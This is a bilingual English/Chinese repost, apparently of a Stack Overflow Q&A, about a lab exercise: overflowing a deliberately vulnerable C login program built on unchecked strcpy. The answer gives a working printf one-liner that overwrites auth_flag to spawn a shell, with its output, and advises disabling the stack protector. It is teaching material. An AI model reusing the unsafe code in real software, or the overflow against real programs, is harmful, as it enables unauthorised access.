[英]How to get root access by buffer overflow attack?
How to do buffer overflow attack on this to get root access.如何对此进行缓冲区溢出攻击以获得 root 访问权限。 I tried finding an address but not got many leads in this.我试图找到一个地址,但没有找到很多线索。 I disabled ASLR and also used no stack pointer at the time of compilation.我禁用了 ASLR,并且在编译时也没有使用堆栈指针。 when I enter more than 16 bytes it gave me segmentation fault in gdb:当我输入超过 16 个字节时,它在 gdb 中给出了分段错误:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifndef TEAM_VAR_SIZE
#define TEAM_VAR_SIZE 410 // <------ Change this from 0 to your team's value.
#endif
int check_authentication(char *username, char *password) {
int auth_flag = 0;
char team_var[TEAM_VAR_SIZE];
char username_buffer[16];
char password_buffer[16];
strcpy(username_buffer, username);
strcpy(password_buffer, password);
if(strcmp(username_buffer, "This doesn't matter") == 0 && strcmp(password_buffer, "neither does this") == 0)
auth_flag = 1;
return auth_flag;
}
int main(int argc, char *argv[]) {
if(argc < 3) {
printf("Usage: %s <username> <password>\n", argv[0]);
exit(0);
}
if(TEAM_VAR_SIZE == 0) {
printf("\nPlease set the Team Var before moving forward with the lab.\n");
}
if(check_authentication(argv[1], argv[2]) == 1) {
printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
printf(" Access Granted.\n");
printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n\n");
system("/bin/sh");
} else {
printf("\nAccess Denied.\n");
}
}
You can rewrite auth_flag
using the buffer overflow caused by the insecure strcpy(username_buffer, username)
.您可以使用由不安全的strcpy(username_buffer, username)
引起的缓冲区溢出来重写auth_flag
。 412 bytes needs to be added to username_buffer
length (16): 410 for the team_var
buffer, and 2 for padding (smallest multiple of sizeof(int) = 4
greater or equal to 410 is 412).需要向username_buffer
长度(16)添加 412 个字节:410 用于team_var
缓冲区,2 用于填充( sizeof(int) = 4
大于或等于 410 的最小倍数为 412)。
$ ./test "$(printf '%0*d\x1' $((16 + 412)) 0)" "x"
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
$
If you encounter the following error:如果遇到以下错误:
*** stack smashing detected ***: <unknown> terminated
then you need to compile your program using the following GCC flag: -fno-stack-protector
.那么您需要使用以下 GCC 标志编译您的程序: -fno-stack-protector
。 Canaries are security measures to prevent attackers from doing buffer overflows on the stack.金丝雀是防止攻击者在堆栈上进行缓冲区溢出的安全措施。 It adds a random value at the end of your buffers to prevent the user from rewriting the return address and/or variables on the stack.它在缓冲区的末尾添加一个随机值,以防止用户重写堆栈上的返回地址和/或变量。
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.